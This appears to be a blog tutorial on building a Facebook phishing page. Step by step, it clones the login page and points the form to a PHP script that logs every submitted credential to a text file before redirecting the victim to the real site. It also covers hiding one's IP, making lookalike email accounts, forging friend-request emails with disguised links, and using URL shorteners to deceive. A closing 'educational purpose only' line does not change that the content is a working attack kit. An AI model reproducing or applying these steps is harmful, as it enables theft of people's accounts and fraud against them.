![](https://2.bp.blogspot.com/_u7otytX-Cwg/TTxYVS6VmdI/AAAAAAAAAXY/1ivqb6otMwI/s1600/Facebook.jpg)
Phishing WebPage:
Creating webpage which look like any site is described as Phishing. By creating Phishing WebPage, you can make users to believe that it is original website and enter their id and password.
Step 1:
Go to Facebook.com
Right click on the white space of the front page. Select “View Page source”.
Copy the code to Notepad.
Step2:
Now find (Press ctrl +f) for “action=” in that code.
You fill find the code like this:
![](https://3.bp.blogspot.com/_u7otytX-Cwg/TOf3j6asSDI/AAAAAAAAABM/ztLvh4bLGL8/s500/screen1pf8.png)
The big red ring that circles the action= you have to change. You have to change it to ‘action=”next.php” ‘. after you have done that, you should change the method (small red circle on the picture) to “get” instead of “post”, or else it will not work. Save the document as index.html
Step 3:
Now we need to create the “next.php” to store the password. so open the notepad and type the following code:
save this file as “next.php”<?php
header(“Location: http://www.Facebook.com/login.php “);
$handle = fopen(“pswrds.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>
Update: I have updated the php script. Now it is working …! Rectified all the problem and errors.
Step 4:
open the notepad and just save the file as “pswrds.txt” without any contents.
Now upload those three files(namely index.html,next.php,pswrds.txt) in any of subdomain Web hosting site.
Note: that web hosting service must has php feature.
Use one of these sites:110mb.com, spam.com justfree.com or 007sites.com.
use this sites through the secure connection sites(so that you can hide your ip address) like: http://flyproxy.com . find best secure connection site.
Step 5:
create an mail account with facebook keyword like : [email protected],[email protected],[email protected],[email protected]
Step 6 :
Copy the original Facebook friendship invitation and paste in your mail.
remove the hyperlink from this http:/www.facebook.com/n/?reqs.php
Mark it and push the Add hyperlink button
*Updated*
everyone asking doubts about this 6th step. You may get Facebook friendship invitation from Facebook when someone “add as a friend”, right? Just copy that mail and paste in compose mail. In that content , you can find this link http:/www.facebook.com/n/?reqs.php . Just change the delete the link and create link with same text but link to your site.
![](https://1.bp.blogspot.com/-rCZv8Q7g4po/TjZ2pHjh6DI/AAAAAAAAAj8/9zc34RqDvmU/s400/Phishing+Page+Preventions.png)
![](https://4.bp.blogspot.com/-Ed2SFXfubVQ/TjZ2rrAFMGI/AAAAAAAAAkA/YipsvkPI4jM/s400/Phishing+Webpage+hacks.png)
![](https://3.bp.blogspot.com/-FPmPoE6nPn8/TjZ2tU48zrI/AAAAAAAAAkE/RWC3YXLgHbs/s1600/Website+Attacker.png)
Add hyperlink button in the red circle. now write your phisher page url in the hyperlink bar that appears after clicking the button. and click add. The hyperlink should still display http:/www.facebook.com/n/?reqs.php
but lead to your phisher page..
Note:
For user to believe change Your phishing web page url with any of free short url sites.
Like : co.nr, co.cc,cz.cc
This will make users to believe that it is correct url.
Don’t use this method for hacking others account. This article is for educational purpose only. Here is tips to prevent from Phishing Web page:
How to prevent from Phishing Web page?